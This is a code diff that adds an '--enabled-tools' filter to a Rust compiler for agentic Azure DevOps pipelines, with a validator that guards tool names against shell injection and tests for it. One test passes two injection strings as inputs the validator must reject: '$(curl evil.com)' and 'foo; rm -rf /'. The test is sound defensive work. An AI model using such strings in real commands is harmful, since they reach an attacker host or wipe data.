githubnext
diff --git a/‎AGENTS.md‎
Lines changed: 10 additions & 0 deletions b/‎AGENTS.md‎
Lines changed: 10 additions & 0 deletions
diff --git a/‎src/compile/common.rs‎
Lines changed: 169 additions & 20 deletions b/‎src/compile/common.rs‎
Lines changed: 169 additions & 20 deletions
diff --git a/‎src/compile/onees.rs‎
Lines changed: 6 additions & 0 deletions b/‎src/compile/onees.rs‎
Lines changed: 6 additions & 0 deletions
diff --git a/‎src/compile/standalone.rs‎
Lines changed: 11 additions & 6 deletions b/‎src/compile/standalone.rs‎
Lines changed: 11 additions & 6 deletions
diff --git a/‎src/main.rs‎
Lines changed: 14 additions & 2 deletions b/‎src/main.rs‎
Lines changed: 14 additions & 2 deletions
@@ -605,6 +605,16 @@ Should be replaced with the comma-separated domain list for AWF's `--allow-domai
 
 The output is formatted as a comma-separated string (e.g., `github.com,*.dev.azure.com,api.github.com`).
 
+## {{ enabled_tools_args }}
+
+Should be replaced with `--enabled-tools <name>` CLI arguments for the SafeOutputs MCP HTTP server. The tool list is derived from `safe-outputs:` front matter keys plus always-on diagnostic tools (`noop`, `missing-data`, `missing-tool`, `report-incomplete`).
+
+When `safe-outputs:` is empty (or omitted), this is replaced with an empty string and all tools remain available (backward compatibility). When non-empty, the replacement includes a trailing space to prevent concatenation with the next positional argument in the shell command.
+
+Tool names are validated at compile time:
+- Names must contain only ASCII alphanumerics and hyphens (shell injection prevention)
+- Unrecognized names (not in `ALL_KNOWN_SAFE_OUTPUTS`) emit a warning to catch typos
+
 ## {{ cancel_previous_builds }}
 
 When `triggers.pipeline` is configured, this generates a bash step that cancels any previously queued or in-progress builds of the same pipeline definition. This prevents multiple builds from accumulating when the upstream pipeline triggers rapidly (e.g., multiple PRs merged in quick succession).
 
@@ -671,29 +671,94 @@ pub fn generate_executor_ado_env(write_service_connection: Option<&str>) -> Stri
     }
 }
 
-/// Safe-output names that require write access to ADO.
-const WRITE_REQUIRING_SAFE_OUTPUTS: &[&str] = &[
-    "create-pull-request",
-    "create-work-item",
-    "comment-on-work-item",
-    "update-work-item",
-    "create-wiki-page",
-    "update-wiki-page",
-    "add-pr-comment",
-    "link-work-items",
-    "queue-build",
-    "create-git-tag",
-    "add-build-tag",
-    "create-branch",
-    "update-pr",
-    "upload-attachment",
-    "submit-pr-review",
-    "reply-to-pr-review-comment",
-    "resolve-pr-review-thread",
-];
+/// Returns true if the name contains only ASCII alphanumerics and hyphens.
+/// This value is embedded inline in a shell command, so control characters
+/// (including newlines) and whitespace must be rejected to prevent corruption.
+fn is_safe_tool_name(name: &str) -> bool {
+    !name.is_empty() && name.chars().all(|c| c.is_ascii_alphanumeric() || c == '-')
+}
+
+/// Generate `--enabled-tools` CLI args for the SafeOutputs MCP server.
+///
+/// Derives the tool list from `safe-outputs:` front matter keys plus always-on
+/// diagnostic tools. If `safe-outputs:` is empty, returns an empty string
+/// (all tools enabled for backward compatibility).
+///
+/// Non-MCP keys (like `memory`) are silently skipped — they are handled by the
+/// executor and have no corresponding MCP route.
+///
+/// Tool names are validated to contain only ASCII alphanumerics and hyphens
+/// to prevent shell injection when the args are embedded in bash commands.
+/// Unrecognized tool names emit a compile-time warning and are skipped.
+pub fn generate_enabled_tools_args(front_matter: &FrontMatter) -> String {
+    use crate::tools::{ALL_KNOWN_SAFE_OUTPUTS, ALWAYS_ON_TOOLS, NON_MCP_SAFE_OUTPUT_KEYS};
+    use std::collections::HashSet;
+
+    if front_matter.safe_outputs.is_empty() {
+        return String::new();
+    }
+
+    // `seen` deduplicates across user keys and ALWAYS_ON_TOOLS (e.g. if the user
+    // configures `noop` explicitly, it shouldn't appear twice in the output).
+    let mut seen = HashSet::new();
+    let mut tools: Vec<String> = Vec::new();
+    let mut effective_mcp_tool_count = 0usize;
+    for key in front_matter.safe_outputs.keys() {
+        if !is_safe_tool_name(key) {
+            eprintln!(
+                "Warning: skipping invalid safe-output tool name '{}' (must be ASCII alphanumeric/hyphens only)",
+                key
+            );
+            continue;
+        }
+        if NON_MCP_SAFE_OUTPUT_KEYS.contains(&key.as_str()) {
+            continue;
+        }
+        if !ALL_KNOWN_SAFE_OUTPUTS.contains(&key.as_str()) {
+            eprintln!(
+                "Warning: unrecognized safe-output tool '{}' — skipping (no registered tool matches this name)",
+                key
+            );
+            continue;
+        }
+        effective_mcp_tool_count += 1;
+        if seen.insert(key.clone()) {
+            tools.push(key.clone());
+        }
+    }
+
+    if effective_mcp_tool_count == 0 {
+        // Every user-specified key was either invalid, unrecognized, or non-MCP
+        // (e.g. memory-only). Return empty to keep all tools available (backward compat).
+        return String::new();
+    }
+
+    // Always include diagnostic tools
+    for tool in ALWAYS_ON_TOOLS {
+        let name = tool.to_string();
+        if seen.insert(name.clone()) {
+            tools.push(name);
+        }
+    }
+
+    tools.sort();
+
+    let args = tools
+        .iter()
+        .map(|t| format!("--enabled-tools {}", t))
+        .collect::<Vec<_>>()
+        .join(" ");
+
+    // Trailing space so the args don't concatenate with the next positional
+    // argument when embedded inline in the shell template.
+    // `args` is never empty here because ALWAYS_ON_TOOLS always contributes entries.
+    args + " "
+}
 
 /// Validate that write-requiring safe-outputs have a write service connection configured.
 pub fn validate_write_permissions(front_matter: &FrontMatter) -> Result<()> {
+    use crate::tools::WRITE_REQUIRING_SAFE_OUTPUTS;
+
     let has_write_sc = front_matter
         .permissions
         .as_ref()
@@ -1637,4 +1702,88 @@ mod tests {
         ).unwrap();
         assert!(validate_resolve_pr_thread_statuses(&fm).is_ok());
     }
+
+    // ─── Enabled tools args generation ──────────────────────────────────
+
+    #[test]
+    fn test_generate_enabled_tools_args_empty_safe_outputs() {
+        let (fm, _) = parse_markdown(
+            "---\nname: test\ndescription: test\n---\n"
+        ).unwrap();
+        let args = generate_enabled_tools_args(&fm);
+        assert!(args.is_empty(), "Empty safe-outputs should produce no args");
+    }
+
+    #[test]
+    fn test_generate_enabled_tools_args_with_configured_tools() {
+        let (fm, _) = parse_markdown(
+            "---\nname: test\ndescription: test\nsafe-outputs:\n  create-pull-request:\n    target-branch: main\n  create-work-item:\n    work-item-type: Task\n---\n"
+        ).unwrap();
+        let args = generate_enabled_tools_args(&fm);
+        assert!(args.contains("--enabled-tools create-pull-request"));
+        assert!(args.contains("--enabled-tools create-work-item"));
+        // Always-on tools should also be included
+        assert!(args.contains("--enabled-tools noop"));
+        assert!(args.contains("--enabled-tools missing-data"));
+        assert!(args.contains("--enabled-tools missing-tool"));
+        assert!(args.contains("--enabled-tools report-incomplete"));
+    }
+
+    #[test]
+    fn test_generate_enabled_tools_args_no_duplicates() {
+        // If a diagnostic tool is also in safe-outputs, it shouldn't appear twice
+        let (fm, _) = parse_markdown(
+            "---\nname: test\ndescription: test\nsafe-outputs:\n  noop:\n    max: 5\n---\n"
+        ).unwrap();
+        let args = generate_enabled_tools_args(&fm);
+        let noop_count = args.matches("--enabled-tools noop").count();
+        assert_eq!(noop_count, 1, "noop should appear exactly once");
+    }
+
+    #[test]
+    fn test_is_safe_tool_name() {
+        assert!(is_safe_tool_name("create-pull-request"));
+        assert!(is_safe_tool_name("noop"));
+        assert!(is_safe_tool_name("my-tool-123"));
+        assert!(!is_safe_tool_name(""));
+        assert!(!is_safe_tool_name("$(curl evil.com)"));
+        assert!(!is_safe_tool_name("foo; rm -rf /"));
+        assert!(!is_safe_tool_name("tool name"));
+        assert!(!is_safe_tool_name("tool\ttab"));
+    }
+
+    #[test]
+    fn test_generate_enabled_tools_args_skips_unknown_tool() {
+        // An unrecognized (but safe-formatted) tool name should be skipped.
+        // When no valid MCP tools remain, return empty (all tools available).
+        let (fm, _) = parse_markdown(
+            "---\nname: test\ndescription: test\nsafe-outputs:\n  crate-pull-request:\n    target-branch: main\n---\n"
+        ).unwrap();
+        let args = generate_enabled_tools_args(&fm);
+        assert!(!args.contains("crate-pull-request"), "Unrecognized tool should be skipped");
+        assert!(args.is_empty(), "All-unrecognized safe-outputs should produce no args (all tools available)");
+    }
+
+    #[test]
+    fn test_generate_enabled_tools_args_skips_memory_key() {
+        // `memory` is a non-MCP executor-only key. It must not appear in
+        // --enabled-tools or it would cause real MCP tools to be filtered out.
+        let (fm, _) = parse_markdown(
+            "---\nname: test\ndescription: test\nsafe-outputs:\n  memory:\n    allowed-extensions:\n      - .md\n  create-pull-request:\n    target-branch: main\n---\n"
+        ).unwrap();
+        let args = generate_enabled_tools_args(&fm);
+        assert!(!args.contains("--enabled-tools memory"), "Non-MCP key 'memory' should be skipped");
+        assert!(args.contains("--enabled-tools create-pull-request"), "Real MCP tool should be present");
+    }
+
+    #[test]
+    fn test_generate_enabled_tools_args_memory_only_does_not_filter() {
+        // When `memory` is the only safe-output key, no --enabled-tools args should
+        // be generated so all tools remain available (backward compat).
+        let (fm, _) = parse_markdown(
+            "---\nname: test\ndescription: test\nsafe-outputs:\n  memory:\n    allowed-extensions:\n      - .md\n---\n"
+        ).unwrap();
+        let args = generate_enabled_tools_args(&fm);
+        assert!(args.is_empty(), "memory-only safe-outputs should produce no args (all tools available)");
+    }
 }
@@ -159,6 +159,12 @@ displayName: "Finalize""#,
         // Validate resolve-pr-review-thread has required allowed-statuses field
         validate_resolve_pr_thread_statuses(front_matter)?;
 
+        // NOTE: 1ES target does not support --enabled-tools filtering (safe-outputs
+        // tool filtering). 1ES uses service connections for MCP servers rather than
+        // mcp-http, so generate_enabled_tools_args is not called here. If safe-outputs
+        // filtering is needed for 1ES, it would require changes to the 1ES pipeline
+        // template and agency job configuration.
+
         // Replace all template markers
         let compiler_version = env!("CARGO_PKG_VERSION");
         let replacements: Vec<(&str, &str)> = vec![
 
@@ -17,12 +17,13 @@ use super::common::{
     self, AWF_VERSION, COPILOT_CLI_VERSION, DEFAULT_POOL, MCPG_PORT, MCPG_VERSION,
     compute_effective_workspace, generate_acquire_ado_token, generate_cancel_previous_builds,
     generate_checkout_self, generate_checkout_steps, generate_ci_trigger, generate_copilot_ado_env,
-    generate_copilot_params, generate_executor_ado_env, generate_header_comment,
-    generate_job_timeout, generate_pipeline_path, generate_pipeline_resources, generate_pr_trigger,
-    generate_repositories, generate_schedule, generate_source_path, generate_working_directory,
-    replace_with_indent, sanitize_filename, validate_comment_target,
-    validate_resolve_pr_thread_statuses, validate_submit_pr_review_events,
-    validate_update_pr_votes, validate_update_work_item_target, validate_write_permissions,
+    generate_copilot_params, generate_enabled_tools_args, generate_executor_ado_env,
+    generate_header_comment, generate_job_timeout, generate_pipeline_path,
+    generate_pipeline_resources, generate_pr_trigger, generate_repositories, generate_schedule,
+    generate_source_path, generate_working_directory, replace_with_indent, sanitize_filename,
+    validate_comment_target, validate_resolve_pr_thread_statuses,
+    validate_submit_pr_review_events, validate_update_pr_votes,
+    validate_update_work_item_target, validate_write_permissions,
 };
 use super::types::{FrontMatter, McpConfig};
 use crate::allowed_hosts::{CORE_ALLOWED_HOSTS, mcp_required_hosts};
@@ -85,6 +86,9 @@ impl Compiler for StandaloneCompiler {
         // Generate comma-separated domain list for AWF
         let allowed_domains = generate_allowed_domains(front_matter);
 
+        // Generate --enabled-tools args for SafeOutputs tool filtering
+        let enabled_tools_args = generate_enabled_tools_args(front_matter);
+
         // Pool name
         let pool = front_matter
             .pool
@@ -183,6 +187,7 @@ impl Compiler for StandaloneCompiler {
             ("{{ working_directory }}", &working_directory),
             ("{{ workspace }}", &working_directory),
             ("{{ allowed_domains }}", &allowed_domains),
+            ("{{ enabled_tools_args }}", &enabled_tools_args),
             ("{{ agent_content }}", markdown_body),
             ("{{ acquire_ado_token }}", &acquire_read_token),
             ("{{ copilot_ado_env }}", &copilot_ado_env),
 
@@ -47,6 +47,9 @@ enum Commands {
         output_directory: String,
         /// Guard against directory traversal attacks by specifying the agent cannot influence folders outside this path
         bounding_directory: String,
+        /// Only expose these safe output tools (can be repeated). If omitted, all tools are exposed.
+        #[arg(long = "enabled-tools")]
+        enabled_tools: Vec<String>,
     },
     /// Execute safe outputs from Stage 1 (Stage 2 of the pipeline)
     Execute {
@@ -84,6 +87,9 @@ enum Commands {
         output_directory: String,
         /// Guard against directory traversal attacks
         bounding_directory: String,
+        /// Only expose these safe output tools (can be repeated). If omitted, all tools are exposed.
+        #[arg(long = "enabled-tools")]
+        enabled_tools: Vec<String>,
     },
     /// Detect agentic pipelines and update GITHUB_TOKEN on their ADO definitions
     Configure {
@@ -167,7 +173,11 @@ async fn main() -> Result<()> {
             Commands::Mcp {
                 output_directory,
                 bounding_directory,
-            } => mcp::run(&output_directory, &bounding_directory).await?,
+                enabled_tools,
+            } => {
+                let filter = if enabled_tools.is_empty() { None } else { Some(enabled_tools) };
+                mcp::run(&output_directory, &bounding_directory, filter.as_deref()).await?
+            }
             Commands::Execute {
                 source,
                 safe_output_dir,
@@ -273,8 +283,10 @@ async fn main() -> Result<()> {
                 api_key,
                 output_directory,
                 bounding_directory,
+                enabled_tools,
             } => {
-                mcp::run_http(&output_directory, &bounding_directory, port, api_key.as_deref())
+                let filter = if enabled_tools.is_empty() { None } else { Some(enabled_tools) };
+                mcp::run_http(&output_directory, &bounding_directory, port, api_key.as_deref(), filter.as_deref())
                     .await?;
             }
             Commands::Configure {